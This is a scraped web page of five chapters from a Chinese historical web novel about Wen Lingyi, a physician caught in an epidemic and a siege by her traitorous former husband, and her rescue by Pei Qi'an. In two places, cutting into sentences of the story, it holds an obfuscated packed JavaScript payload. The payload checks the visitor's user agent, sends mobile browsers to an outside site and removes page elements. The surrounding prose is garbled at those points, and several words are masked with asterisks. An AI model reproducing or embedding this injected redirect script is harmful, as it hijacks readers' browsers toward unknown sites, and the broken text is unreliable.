温令仪点头:“确实如此。” “真真是小人行径。”邓老爷子额头青筋都凸起了。 温令仪没有再说话,邓老爷子的脾气领教了,本以为这个年纪的人养气功夫都十分了得,却不想这位是颇有侠义心肠,又十分快言快语,想必这件事能成。 崔老大人清了清嗓子:“沈济生在泾河府那边,是朝廷派来的太医。” 邓老爷子翻了个白眼儿。 温令仪的心就提到了嗓子眼儿。 “跟邓家没关系,你这丫头想要邓家做什么?”邓老爷子看温令仪。 温令仪起身深深鞠躬:“您老能应承此事,真是江南府百姓的福气。” “直接说就行。”邓老爷子显然不喜欢繁文缛节。 温令仪落座后说:“只需要您老召集靠得住的郎中,我有应对事宜的方子,也会尽可能送草药过来,但需要郎中变辩证加减,才能用到病人身上。” 邓老爷子捋着胡须,微微点头:“确实如此。” “既然要为百姓做事,怎么能少了我们崔家人呢?”崔老大人对邓老爷子说:“山里草药囤积了不少,回头让孩子们送下山来,也不用往别处放了,就放在你这里,百姓求医问药,治病救命都需要银钱,我分文不取,你也别收诊资,权当为后代积德行善了,如何?” 邓老爷子朗声大笑:“一言为定。” 温令仪没想到事情如此顺利,远超预期。 “你这孩子也不用在这边多费心思,回头衙门那边我去说一声。”崔老大人说。 温令仪又要起身道谢。 崔老大人摆手:“大可不必,这是为天下百姓做事,不是为你一人做事,你也无需背负这些本就不该你背负的人情,只管安心在泾河府戴罪立功,就冲你为百姓奔走的这份心思,我们这些老骨头啊,就没有偷懒的心思了。” “是,令仪明白。”温令仪告退,因两家关系匪浅,温令仪提前告辞离开,出门吩咐谭庸带带自己去见白长鹤。 白长鹤得知温令仪的事情办的十分顺利,挑起大拇指:“真是不易,夫人若有吩咐,老朽一定尽心竭力。” 温令仪说:“请白老帮忙安抚百姓,宋家的买卖铺面里的米粮尽可去取,众合商会那边也会打招呼,但凡是治疗时疫所需,都可以白老帮忙操持送过去。” 白长鹤连连点头,这会儿也没有了和朝廷比的心思了,还有什么可比的呢?这样一个弱女子的所作所为超过了多少自称大丈夫的人啊。 温令仪去了众合商会,安排了何时的登门礼,虽说自己立刻就会启程离开江南府,可该送的礼物就算晚了点儿也要送到。 安排好这些事情,温令仪给崔老大人留下一份书信,便离开了江南府。 谭庸留在这边安置这九个姑娘进了众合商会里做事,虽说这些姑娘们岁数略小,但力所能及做事,也能有个安身之所,暂时先这般安排,也能少让温令仪分心。 大牛没跟着回来,主要是泾河府这边必定不会一点儿动静也没有,反倒是留在江南府这里更安全一些。 船在拂晓时分离开了江南府,温令仪坐在船舱里睡着了,恍恍惚惚来到了一个陌生的地方,抬头就见到了裴祈安怀里抱着小囡囡,对面坐着的是萧玄策,三个人之间的气氛颇有些紧张,小囡囡的手捏着腰间的玉佩,小脸阴沉沉的。 似是心有所感一般,小囡囡看向了温令仪的方向。 温令仪想要说话却发不出声音来,一着急醒了,睁开眼睛才发现自己额头和手心都是汗,心像是被揪起来了一般,她从没有如此是担心过。 他们走了有一段日子了,如今的西域三十六国到底是什么情况也不知道,毕竟是萧玄策的地盘。 与此同时,小囡囡眉头紧锁的转过头,抬眸看着萧玄策:“义父,若你执意要在西凉之后做黄雀,那大夏百姓人人皆兵,除了血流成河的浩劫必定会将另外,在座的没有赢家。” 萧玄策眉头一挑,这小丫头怎么不藏拙了? “囡囡,你这是偏着你的父亲了。”萧玄策说。 小囡囡摇头:“并非是我偏着我的父亲,而是天道必定会站在我父亲这一边,义父,你觉得我为何如此早慧?为何知道那么多?你以为的天纵奇才不过是看到了表象,是冥冥中有一股力量把我送到我父亲身边的,而他能带给大夏国泰民安,会让那个地方的百姓安居乐业,你忘了我跟你说的话?还是你根本就不相信我说的话呢?” 萧玄策朗声笑了:“为何我就不能成为天下共主?” “那是因为你若杀戮太重,伤及寿数,又后继无人,到时候自会有别人站出来,那么战祸永远都有,而我们每个人都不过百岁的光景,最后是一捧黄土罢了。”小囡囡抬起手指了指门口的方向:“就想现在,外面三十六国的王都在,而他们为何臣服义父?难道不是大夏江湖门派的功劳?御敌于国外,若非不想让大夏陷入无休止的战祸中,我大夏子民何须如此长途奔波到这里浴血奋战呢?” 萧玄策还要说话,裴祈安起身:“萧兄,若今日谈不拢,西域三十六国的国君都可以换掉了。” “你?”萧玄策神情大变。 裴祈安微微颔首:“确实,我的人本就安排下去了,今日若能结盟,百年之约可期。” 萧玄策起身,微微变了脸色,起身的时候露出笑意:“把我的义女留在这边三年如何?” “休想!”裴祈安冷声。 小囡囡拉了拉裴祈安的衣襟:“父亲,我留在这边也挺好的,两国通商可期。” 萧玄策看裴祈安,裴祈安看萧玄策,两个人转身往桌案前去…… 第196章 尔等,我看谁敢阻拦! 西域三十六国和裴祈安签订了百年不战的盟书。 裴祈安看着抱在萧玄策怀里的女儿,心里难受的让他眼睛都酸疼了。 墨染召集所有的江湖中人护送裴祈安从西凉回大夏,到西凉就得到了消息,晏怀卿在西凉封王了,并且带着兵马往雁门关去。 “裴祈安。”墨染站在裴祈安旁边:“我们去雁门关?” 裴祈安摇头:“我往漠北去,你们可以从雁门关回去,大夏境内的事,江湖中人无需插手。” 墨染拱手:“我们后会有期。” 分道扬镳的两拨人从西凉境内悄然过去,漠北这边,西凉偶尔会有摩擦,但无伤大雅,裴祈安拜访镇国公,取出来盟书交给镇国公温城。 温城看到盟书的时候,悬着的心终于落地了,问:“玉琢啊,是要回京吗?” 裴祈安点头:“需要回京,雁门关必定会被攻破,漠北按兵不动,且不可轻举妄动。” “这盟书?”温城看裴祈安。 裴祈安摇头:“祖父,这盟书跟大夏朝廷无关,我们如今是蓄势待发,只要大夏和西凉开战后,我们可以伺机而动。” 温城早就知道这是必定要走的一条路,倒也没什么顾忌,当年能跟着郎御打下来这江山,又怎么会是优柔寡断的人呢? 裴祈安去山里看过,兵器和金银矿陆续开发,这是很大的底气。 离开漠北,裴祈安单枪匹马往京城来,日夜兼程,他抢在了雁门关的战报前,回到了京城。 京城门外拿出来令牌,一路来到宫门外翻身下马,守卫往里通禀。 裴祈安抬头看到了残阳如血。 永元帝得知裴祈安到了宫门外,激动地站了起来,若非君臣有别,他都想要亲自迎接。 “快,请摄政王入宫。”永元帝说。 裴祈安阔步进了御书房,撩起袍子跪倒在地:“吾皇万岁,万岁,万万岁,微臣不辱使命,西域三十六国会置身事外,不会和西凉结盟。” “快快起来,玉琢啊,你和想煞了孤。”永元帝双手扶着裴祈安起身。 裴祈安的袍子上有厚厚一层灰尘,靴子更是看不出来原本的颜色。 “来人!送摄政王沐浴更衣。”永元帝说。 裴祈安跟着宫女下去沐浴。 永元帝迟迟都没等来裴祈安,有些心焦的问:“摄政王何在?” 赵长义过来禀报:“皇上,摄政王睡着了,看来是疲惫的厉害。” “玉琢遭罪了。”永元帝摆了摆手:“无需打扰,不可让水凉了。” “是。”赵长义退下去安排。 永元帝等得着急,但也忍耐下了,眼看着天都蒙蒙亮了,外面有小太监神色慌张的来到御书房门口。 “没规矩!”赵长义呵斥小太监,在宫里做事就要沉稳,这慌里慌张的可怎么行? 小太监低声:“爷爷,可不好了,兵部那边收到了消息,西凉破了雁门关,大军压境啊。” 赵长义先写一个没站稳,险些摔倒在地,小太监堪堪扶住了赵长义。 赵长义颤巍巍的走到御书房里,看着一夜未睡,等摄政王的永元帝,遍地发凉,走到御书案前:“皇上。” “玉琢可来了?”永元帝问。 赵长义扑通跪在地上:“皇上,兵部收到了雁门关的战报,西凉破了雁门关,大军压境。” “什么?”永元帝惊得站了起来,碰翻了手边的茶盏,茶盏落在地上摔了个粉碎。 赵长义只能硬着头皮说:“雁门关破了。” 啪! 永元帝一掌拍在桌子上,脸色阴沉:“真真是一群废物!晏怀卿就该碎尸万段!” 裴祈安从门外进来,刚好听到了这句话,知道雁门关的战报送到了,走进来跪在地上:“皇上息怒。” “雁门关没守住,如今该如何?”永元帝怒道:“晏怀卿叛国,若非如此,西凉怎么会有如此胆量敢踏入大夏境内?” 裴祈安垂首:“皇上,应该让兵部把战报呈上来。” “对,对!”永元帝看赵长义:“去宣兵部尚书入宫觐见,带着雁门关战报。” 赵长义立刻退下。 战报送到永元帝手里,刚看了前面几句话,永元帝气得抓起来茶盏砸在了地上:“竟然是晏怀卿带兵,碎尸万段都便宜他了!” 裴祈安看瑟瑟发抖的兵部尚书,只能上前一步:“臣愿意往江南府抵御西凉。” “从漠北调兵。”永元帝说。 裴祈安赶紧说:“万万不可,皇上,那就中了西凉的调虎离山之计,漠北固若金汤,西凉就得有忌惮。” 永元帝眉头紧锁,看着裴祈安:“温家可会和晏怀卿勾结?” “皇上,若晏怀卿能和温家勾结,就不会从雁门关攻打进来了,别说如今这样的局面,就是在之前,温家也瞧不上晏怀卿。”裴祈安说。 这话永元帝是相信的,当年晏怀卿处心积虑迎娶温令仪,就极有可能是想要叛国,可这个人头猪脑的货色,对温令仪所作所为,令人发指,所以现如今只要晏家和温家不联手,那就半壁江山不会乱。 “玉琢。”永元帝六神无主:“你往江南府不妥,你要在孤身边。” 裴祈安再次拱手:“皇上,若臣不去,何人可去?” 这简直让永元帝都上不来气了,是啊,何人可去?这些年一直都重文轻武,以至于朝中无大将,如今想要找个人带兵去御敌,都不知道谁才能胜任。 抬头看裴祈安坚定的样子,永元帝鼻子尖儿发酸,他过来双手扶着裴祈安起身:“玉琢,带多少人马?” “三千,京中守卫是重中之重,臣往江南府和罗政汇合,未必没有一战之力。”裴祈安顿了一下:“但战局到了如此地步,应该征兵了。” 裴祈安没有做调整,立刻离开京城,御敌尚在其次,温令仪在泾河府,他恨不得肋生双翅到温令仪身边。 快马加鞭到了泾河府境内,前面探子来报:“王爷,前面有府兵镇守,说泾河府时疫难以控制,不可进出。” 裴祈安策马上前,来到阻拦去处的府兵面前,亮出腰牌:“尔等,我看谁敢阻拦!” 说罢,战马长嘶,三千人马卷起沙尘直奔泾河府…… 第197章 他的发妻温令仪,要见他一面 泾河府衙门的门口,谭庸手持长剑挡住外面的人,脸颊的伤口流着血,一滴一滴的血落在衣服上,已洇湿了一大片,他双目赤红的看着对面的人,厉声:“退后!凡靠近半步者,杀无赦!” 在谭庸脚底下躺着十几个人,跟谭庸穿着同样官服的不良人。 谭庸背后是紧闭的衙门大门,大门里,温令仪双手颤抖着把草药放进药罐子里,蹲下来往灶里添柴,碧桃手里的长鞭已经断掉了,护在温令仪身后:“夫人,你听奴婢一句劝,快走吧,这几个人我们救不了,你的命要留着。” “碧桃,桐油准备好了吗?”温令仪问。 碧桃眼泪涌出眼眶:“夫人,准备好了。” “好。”温令仪看着灶里的火在跳动,心里默默地告诉自己再多撑一会儿,只要罗政他们能逃出去,留得青山在不愁没柴烧。 她怎么也没想到一切会发生那么快,从江南府回来的船上做得梦,就像是刚刚发生的事情似的,可回到泾河府的第七天,邓老爷子亲自登门,白长鹤亲自护送,奄奄一息的人是罗政,邓秀林的一只手被斩断了。 温令仪缓缓地闭上眼睛,当时的情景在脑海里出现,邓老爷子一见面就跪下了:“温令仪,救他们俩,西凉的兵马杀过来了,带着兵马杀过来的人是晏怀卿。” 当时自己是什么感觉? 温令仪抬起手压了压心口,其实没什么感觉,只是有些惋惜,来得太快,百姓们还在和时疫搏命,怎么能承受得了战祸? 师兄几个人都重伤,沐白被活捉,温令仪用三天三夜救了罗政和邓秀林后,兵临城下,晏怀卿在城门外竖起了旗杆,上面捆着的是不知死活的沐白师兄。 “我要杀了他。”温令仪喃喃的说。 江南府的百姓被崔家放进了山里藏匿,泾河府的百姓没有崔家那样的风水宝地护着,生病的人在衙门里,没有病的人逃到了山里,还有很多人被晏怀卿捉走了,男丁充入军中,否则女眷就给那些野蛮人享乐。 晏怀卿更是疯了,只要能杀一个大夏人,不论男女老幼,赏黄金十两。 寻常百姓的命本就不值钱,别说十两黄金,就是十两白银也会无限的放大人性的恶,泾河府如今如人间炼狱,死了很多人。 温令仪没想通,为什么晏怀卿不继续北上,而是停在了这里。 药熬好了,温令仪喝了几口水,一小片人参放在嘴里用力的咀嚼,身体缓过来点儿后,稳稳地把汤药倒进碗里,额头冷汗一滴滴的滚落,她坐在地上:“碧桃,给那些人分着喝下去,送去地牢里,你也进去,不准出来!” 衙门里唯一能藏身的地方是地牢,虽然是最不该去的地方,可总比被外面那些人杀了要好,她相信朝廷不会接不到消息,不会不派人出兵,甚至温令仪希望二哥能来。 二哥? 温令仪恍然大悟,晏怀卿攻破泾河府却留下衙门这一块不攻破,是为了等二哥,上一世二哥为了给温家全族报仇,亲自把自己的头颅送给了晏明昭,如今重来一世,晏明昭没长大,可晏怀卿要故技重施!而这一世二哥不是为了给温家全族报仇,是为了自己? 若是如此,死又何妨? 温令仪目光坚定起来,衙门里仅存的米粮留给了那些地牢里躲避的人,她这三日来都靠清水和少量的参片吊着这口气,最后这几个病人送走后,也该见一见晏怀卿了。 碧桃听从吩咐,病人们最后一次药喝完可以痊愈,只是身体还虚弱,送去地牢里,沈济生会照顾妥当。 但她没留在那边,而是回到了温令仪身边。 “你不听话。”温令仪沉了脸色。 碧桃却笑了:“让奴婢叫您小姐吧,像是未曾出阁时候那般,如今嬷嬷和海棠都在外面,奴婢不陪着小姐怎么行呢?咱们主仆一场,是奴婢的福分,小姐宅心仁厚,对奴婢一直都很好,奴婢就算是死在这里,也无憾。” 温令仪眼角有泪,心里是不甘的,明明一切都可以按照计划来,果然自己遇到晏怀卿就是生死劫,不过比上一世好多了,女儿活着,还很厉害,裴祈安一定会照顾好女儿的,自己的亲人们都活着,他们手握重兵,裴祈安和温家人一定会成为最后的赢家。 怎么也不算白活一遭。 “小姐,你看。”碧桃从旁边的篮子里端出来一碟菜饼子,献宝似的送到温令仪面前:“小姐,吃,吃。” 温令仪拿起个饼子递给碧桃:“你也吃。” “吃,奴婢肯定要吃,就算是死也要做个饱死鬼,小姐,你和奴婢不一样,小姐是金尊玉贵的有福人,又是行德积善的好郎中,老天一定会救小姐。”碧桃咬了一大口饼子,咀嚼的非常用力。 温令仪咬了一小口,顿住了动作:“我一直没看到若桃,若桃必定是被利用了,以为自己逃走了,去漠北搬救兵去了。” “小姐,若桃姑娘不回去漠北搬救兵,她会去药王谷,别担心那混账会害咱们温家,他的德行早就败光了,一定会有人收他的。”碧桃轻声安慰。 温令仪点头:“会的,恶人自有天收。” 可她等不到了,多希望看着晏怀卿死,晏家人都死绝了! 她是会医术,是可以救很多人性命,但并不是见谁都善良,对待仇人,她觉得用什么酷刑都是应该的,快意恩仇的机会没得到,但也绝对不会连累亲人。 吃得很饱。 温令仪甚至打了个饱嗝。 这辈子吃到最好吃的一餐,竟是最不起眼的野菜饼子,果然人不能太骄纵了,特别是口腹之欲。 到井台跟前洗漱,碧桃给她绾发。 做好这一切后,温令仪看了眼碧桃。 “小姐,别为碧桃多谋划,不然碧桃宁可先走一步。”碧桃轻声说。 主仆相伴这么多年,太了解彼此了。 温令仪起身走到门口。 碧桃攒足了力气打开了大门。 大门缓缓打开的时候,谭庸率先回头:“夫人!你怎么还不走?” 温令仪从大门里走出来,看到地上躺着的人,缓缓地吸了口气,走到谭庸跟前,取出来止血药给他脸上的伤口止血,从碧桃手里接过来布带,亲自给谭庸包扎:“去找裴祈安,告诉他,我至亲安然无恙就好,我,死而无憾。” 谭庸目眦欲裂,他知道现在的他们孤立无援,保护不了夫人,有什么脸面去见主子? 温令仪抬头看着对面那些兵士,扬声:“去告诉晏怀卿,就说他的发妻温令仪,要见他一面。” 第198章 你有什么资格跟我讲条件? 早就知道晏怀卿最小人得志,却怎么也没想到此时的晏怀卿如此张狂,八个人抬着雕刻着精美花纹的椅轿,他一身莽龙袍坐在上面,支着一条腿懒洋洋的看着温令仪,眼里尽是不屑:“本王的发妻怎么如此落魄,避而不见多日,温令仪,怎么舍得出来见本王了呢?” 温令仪抬眸看着晏怀卿,刚要说话,就听到有人颇为痛心疾首的喊了一声:“卿郎。” 微微蹙眉,温令仪转过头看向了奔过来的叶染秋,看到她抱在怀里的晏明昭时,温令仪突然觉得可笑,像是宿命轮回一般,这三个人就在自己的眼皮子底下团聚了! 同样有些震惊的还有晏怀卿,他杀回雁门关的时候就让人四处寻找晏明昭,没人知道下落,这让他非常失落,因遍寻名医,得到的结论只有一个,再也无法生育,所以一想到死掉的两个妾室和没来得及降生的孩子,晏怀卿被绝嗣二字折磨的夜不能寐。 再次见到叶染秋和晏明昭的时候,心里突然萌生了一个想法,那便是杀了温令仪,叶染秋就是温令仪,踏平泾河府,撤到雁门关后,让叶染秋往漠北去一趟,若是被识破了,叶染秋死不死无伤大雅,若是能成功,自己就能在西凉地位稳固,又能和温家联手,一起攻破大夏也是有一搏之力的,之所以兵困泾河府,其实目的只有一个,等温家来人搭救温令仪,来一个杀一个,但这是下下策。 这一瞬间,心思百转,吩咐抬轿的兵士落轿,走下来伸出手接住扑过来的叶染秋。 “卿郎。”叶染秋痛哭流涕,紧紧地抱着怀里的晏明昭。 晏明昭也适时地喊了一声:“父亲,你若不来,那些人就要杀了儿子了,呜呜呜。” “这里不是说话的地方,你们先回营帐去等。”晏怀卿说,吩咐亲兵带走两个人。 叶染秋回头看了眼面容清瘦的温令仪,心里的大石头终于落地,她早就来到了泾河府,就等着晏怀卿露面,之所以不敢去找,是怕温令仪和晏怀卿破镜重圆,之所以现在出现也是这个想法,只要他们两个人不破镜重圆,自己就有机会留在晏怀卿身边,若非存了这个心思,怎么能历尽艰辛去找晏明昭。 当初,大牛带着人跑了,自己和程子谦被捉在床上,程家人要打死自己的时候,她逃走也得感谢程子谦,逃走之后无路可去,唯独能投奔的地方就是雁门关,可等她到了雁门关才知道晏怀卿竟叛国去了西凉,万念俱灰的时候听说晏明昭被关押在元帅府里,她蹲守半个月之久,终于救出来了晏明昭。 这不见到晏明昭的时候只想着有晏怀卿的血脉傍身,可见到晏明昭的时候,差点儿没把她吓死,晏明昭第一句话竟是:“你保护好我,我会让你像上一世那般荣华富贵。” 上一世?自己早就不相信了,那些个梦境里的事没有一件是真的,可晏明昭说温令仪占了先机,所以才会步步为营,他吃亏在口不能言,如今不一样了,他绝对能让温令仪尽快**,也一定能手握兵权,再次成为少年神将。 什么叫劫后余生? 叶染秋发现自己兜兜转转,竟又回到了最初,本想着逃离晏怀卿,却发现自己的好日子只能跟在这个男人身边,外面的疾苦是尝到了的,再也不想承受那样的生活了。 所以,温令仪应该死在这里。 她心里就是这么想的。 晏明昭趴在她肩膀上,说:“她会死在这里的,我们走。” “好。”叶染秋现在非常清楚自己要如何在晏家父子二人中间生存,那就是老老实实的,唯有如此才能活得安稳,至于其他不能再多想,除非真能如同梦里那般成为人上人。 两个人往回走的时候,晏明昭说:“母亲,过去的都结束了,父亲会带着我们去西凉,在西凉谁知道你经历了什么呢?而且你在西凉是谁?是温令仪。” 叶染秋恍然大悟,快步跟上亲兵往大营去了。 泾河府衙门口,温令仪抬眸看着晏怀卿,跟刚才比起来,晏怀卿显然更坦然和得意了,这个没什么城府却狠毒又坏的冒水的男人,此时恨不得自己立刻死掉才好。 想到这里,温令仪连说话的欲望都没有了,低声对谭庸说:“带着我的尸首回京城,务必让皇上看到我的尸首,让他知道我已**,送消息到漠北,让温家一定不要被人蒙蔽,不能被人利用,他们的亲人死在了泾河府。” 谭庸摇头:“夫人,就是属下死在这里,都要让夫人活着离开。” “救走我的丫环,碧桃就托付给你了,若是能逃出生天,让碧桃去漠北。”温令仪说罢,不给谭庸说话的机会,迈步往前走去。 “晏怀卿,你本是大夏的臣子,却叛国投靠西凉,带着这些蛮夷踏破雁门关,百姓遭遇战祸生灵涂炭,你不愧对列祖列宗?”温令仪抬眸看着晏怀卿:“如此数典忘祖之辈,给我休书一封,咱们之间恩断义绝。” 晏怀卿噗嗤笑了:“你想要休书?” 温令仪眸色冷淡的看着晏怀卿。 “那是不能,温令仪,你就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“条件?”晏怀卿笑了:“你有什么资格跟我讲条件?” 温令仪扬声:“半边月的毒来源于大梁皇室,有**就一定有解药,解药就在大梁宝藏里,你用缠丝毒,纵欲过度会影响子嗣,一旦解了半边月的毒,你虽未必子孙瓜瓞,但也绝对不会只有晏明昭一个孩子,晏明昭克你,还用我说?你早就应该心知肚明。” 晏怀卿脸上的笑容消失了。 死死地盯着温令仪,她如此笃定,竟是因为拿捏住了自己的死穴啊。 “放了我的师兄和仆从,让他们平安离开,晏怀卿,想要进入大梁宝藏需要个毒师,恰好我研究毒经一年,我可以让你平安进去,拿到宝藏再平安回来,除了我,没人能进到密室里还全身而退。”温令仪说。 晏怀卿抚摸着手里的弓箭,良久缓缓抬眸…… 第199章 必须死在这里! 温令仪怡然不惧。 这个时候还能有什么想法? 置之死地而后生。 她心里是绝望的,并且是抱了必死的决心,只要沐白和谭庸护送林嬷嬷几个人离开,一切都只能听天由命,她没有那么大本事护住泾河府的百姓,能做的都做了,只能说尽力到此,再没有别的本事了。 晏怀卿心里却在想,只要温令仪在自己手里,药王谷的人就会听命自己。 温家那边自己不在乎,抓到温令仪立刻给西凉的国君上书,以大梁宝藏邀功,还能为自己解毒,一举两得。 再就是温令仪到了绝境,想要活下来不拿出诚意是不行的,整个泾河府都在自己的掌控之中,她一个弱女子还能逃走? 思及此,晏怀卿往前俯身,看着温令仪:“我不信你。” “那就放弃大梁宝藏,就只守着晏明昭活着吧。”温令仪冷笑:“一次不忠百次不用,但是你晏怀卿本就是个不忠不义之人,和叶染秋是一丘之貉,臭味相投保不齐就能地久天长呢?” 晏怀卿瞬间黑了脸。 “小张氏在京城,生死不论,她为何逃走,你知道吗?”温令仪不给晏怀卿说话的机会,说:“那是因为小张氏亲眼看到晏明昭先后杀了你的两个妾室,为了杀死你的骨肉,好能独宠,你以为我挑拨离间最好,今日我实在这里,晏明昭会为我报仇的。” 晏怀卿这下不止脸色阴沉的发黑,都觉得眼前发黑了,他怀疑过,但觉得晏明昭小小年纪,没那么大的本事,并且当时晏明昭是关在柴房里的,小张氏啊,他倒还有三分温情在,曾经落魄的时候,也只有小张氏把自己当个人看的。 “你胡言乱语!”晏怀卿气急了,摸起来弓箭对准了温令仪。 温令仪微微扬起头:“掩耳盗铃,你真是可悲,多说无益,你动手吧。” “小姐。”碧桃挡在温令仪身前:“奴婢不走,奴婢就算是死也要跟小姐在一起。” 晏怀卿对不准温令仪,心里暗恨。 温令仪身边的人都忠心耿耿,自己身边都是什么魑魅魍魉,叶染秋确实对自己不忠,那个晏明昭更是个祸根,要不是自己再也没有子嗣了,怎么会留着那个祸害在身边。 哪怕不是他亲自动手杀了自己的两个妾室,那也是因为他到了雁门关,才几日啊,自己就只能留着他,才不会**了。 “我答应你。”晏怀卿说:“但是你要留在我身边。” “好。”温令仪答应的爽快。 晏怀卿下令放下吊在柱子上的林嬷嬷和海棠,放了沐白。 温令仪手里捧着匣子,看着晏怀卿:“我手里的就是大梁密藏的地图,必须他们平安离开,我和地图才都能是你的。” 晏怀卿微微的眯起眼睛:“如何才算他们平安离开了呢?” 温令仪看了眼谭庸。 谭庸知道夫人的意思,拱手一礼:“属下必定护送他们离开泾河府。” “五匹快马,一只信鸽,只要他们平安离开泾河府,信鸽飞回来,我的命和大梁密藏就都是你的!”温令仪说。 晏怀卿觉得可笑,温令仪救沐白还算说得过去,连一个老嬷嬷和两个卑贱的丫环都要救,她该是多拎不清的人? 不过,拎不清好啊,自己得到密藏,还能把温令仪活捉,她的血可是有妙用的! 解毒不能只靠缠丝,再有温令仪的血,怎么都会让自己更舒坦点儿。 让人准备了快马。 林嬷嬷泪如泉涌:“小姐,老奴这把岁数早就活够了,让老奴留在身边伺候您。” 温令仪摇头:“你们都走,立刻就走。” 林嬷嬷扑通就跪下了。 温令仪弯腰扶着她的时候,用只有两个人能听到的声音说:“去漠北告诉温家人,千万别被晏怀卿利用了,裴祈安会救我。” 林嬷嬷猛然抬头。 温令仪目光笃定:“囡囡是我亲生的,是我和裴祈安的亲生女儿,嬷嬷,唯有你知道实情,怎么能留在这里,那会拖累我。” 林嬷嬷信了。 她抹了一把眼泪。 温令仪扫了眼跪在地上的碧桃和海棠,走到沐白身边:“去漠北。” “好。”沐白没多说一个字。 温令仪看到沐白两个肩胛骨的位置都被血水浸透,风干后发黑的衣服,知道他受伤不轻,可这个时候保命要紧,问也没用。 马匹到了,温令仪厉声:“走!” 谭庸扶着林嬷嬷上马,不放心老人家独自骑马,亲自护她。 碧桃和海棠哭得不行,但沐白盯着二人上马后,也翻身上马,并且牵了她们俩的马缰绳。 温令仪看着几个人离开,一直到看不到影子了,才松了口气。 晏怀卿耐着性子,看温令仪盘腿儿坐在了地上,微微蹙眉。 温令仪从袖子里取出来**握在手里,抬头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869908|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你敢出尔反尔,我就血溅三尺,放心,信鸽回来的时候,我必定跟你走,毕竟能活下来,谁会想死呢?” “随你。”晏怀卿嘴上这么说,但根本没有走的意思。 夜幕降临,周围点起了火把,亮如白昼。 温令仪神色淡定的像是周遭事物都不存在一般。 前后不足两个时辰,信鸽飞来的声音让温令仪不得不抬起头看一眼。 信鸽落在了晏怀卿的手里,温令仪的目光随着那信鸽落在了晏怀卿的身上,缓缓地吸了口气,她知道自己可以安心的**。 “跟我走吧。”晏怀卿说。 温令仪坐着没动,活动了一下手腕,缓缓站起来的时候,抬头看了看天,月色正好:“晏怀卿,就此别过。” 温令仪没出声,这句话在嘴边吐出来的时候,带着两世的不甘和恨意。 **都没举起来,对准心脏的位置。 “住手!” “温令仪!” 不知道是谁喊的住手,晏怀卿喊温令仪的时候,声嘶力竭。 温令仪没有犹豫,赴死的决心昭然,一枚铜钱砸在她的手背上,温令仪握着**的手只是颤了一下,丝毫没有停下来的意思,一黑一白两个身影飞扑过来,墨染抱住了温令仪,白长鹤捏住了温令仪的手腕。 温令仪看到白长鹤的时候,心里一阵酸涩:“白老,那些百姓都在后院地牢里,我死不足惜,救他们。” “用你管这些吗?”白长鹤怒道:“走!” 墨染扛起温令仪就跑,白长鹤率领江湖中人阻拦这些兵士,一个个早就杀红了眼,他们从外面一路杀进来,早就麻木了。 晏怀卿弓拉满,对准温令仪,三箭齐发。 白长鹤目眦欲裂,想要救已经来不及了,断喝一声:“呀!!!老夫杀了你!” 话音未落,人已经冲向了晏怀卿。 晏怀卿身边有高手,浑然不惧,他知道既不能活捉温令仪,她就必须死在这里! 一道身影出现,裴祈安生生的接住了三只翎羽箭,手腕一抬,三只翎羽箭原路返回,一声惨叫,晏怀卿身前挡着的人非但中了三支翎羽箭,还被白长鹤的虎爪抓破了胸口。 “走!”裴祈安气沉丹田:“退到衙门内!” 晏怀卿死死地盯着裴祈安,他竟觉得脊背发寒,裴祈安为何来了?他怎么进来的?为何自己一点儿消息也没听到?斥侯呢?都**吗? 第200章 你妖言惑众! 衙门内,裴祈安扶着温令仪到后堂的宅子里。 退下所有人,屋子里只有二人的时候,裴祈安张开手臂把温令仪紧紧地拥入怀中。 能感受到裴祈安浑身都在颤抖,温令仪心头酸涩,伸出手抱着他的腰身:“我以为你不会来,但我相信你一定会为我报仇。” “别说话,别说话。”裴祈安心神不定,可能会失去她的恐惧让这个男人第一次体会到了极致的恐慌,即便活生生的人就在怀里,可他还是后怕到额头沁出冷汗。 温令仪轻轻地靠在他怀里,本以为是必死的局面,没想到得救了,劫后余生必定要报仇雪恨,这是绝对不能等的,世事无常已经体会到了,一切来得太快,更是因为自己没有提前未雨绸缪。 裴祈安良久才轻轻地拍了拍温令仪的后背,拉着她的手坐在椅子上,也不准她坐在别处,直接把人安置在自己的腿上,抬起手抚摸她消瘦的脸颊:“我不会再让你离开我的身边了。” “囡囡呢?”温令仪问。 裴祈安抿了抿唇角:“暂时留在萧玄策身边,阿宁放心,我一定会尽快接回来的。” “幸好。”温令仪摇头:“不要接回来,除非尘埃落定,囡囡再有本事可也是个孩子,太小了,不舍得她经历这些。” 裴祈安只是轻轻地点了点头,他知道温令仪很识大体,顾大局,可母女分离的牵挂是要独自承受的,若非小囡囡被萧玄策留在身边了,自己对萧玄策十分不放心,他都恨不得把温令仪也安排在一个安全的地方,不让她承受任何风吹草动。 “那些百姓怎么办?”温令仪问。 裴祈安沉静下来,说:“交给我,现在你只需要安稳的歇着,不要出去,别乱动,有人保护你。” 温令仪起身,看裴祈安往外走,出声:“玉郎。” 裴祈安立刻回头:“怎么了?” “这个时候敌众我寡,十分凶险,千万小心。”温令仪说。 裴祈安勾起唇角露出一抹笑意,点头:“好。” 凶险? 裴祈安自问这一路走来,凶险都不离左右,可真心实意叮嘱自己要小心的人,是她,这一句千万小心听在耳中,最是暖心了。 衙门里,裴祈安看着躲在地牢里的泾河府府尹孙志胜,二话没说,当着百姓的面直接一刀宰了,三千亲卫军守在衙门外,裴祈安让所有百姓都从地牢里出来,墨染和白长鹤率领江湖中人聚到一起,商议如何为百姓开一条生路,从泾河府逃出去。 裴祈安面无表情的看着舆图,指着往漠北去的方向:“从西北方向突围,所有百姓往漠北去,那边差人先一步过去送信儿,温家会在漠北接应百姓。” 墨染显然听懂了裴祈安的意思,看过来:“若是这般安排,我们打头阵,冲开口子你们断后,这些百姓要逃走的话,人数众多,想要完全护住不容易。” 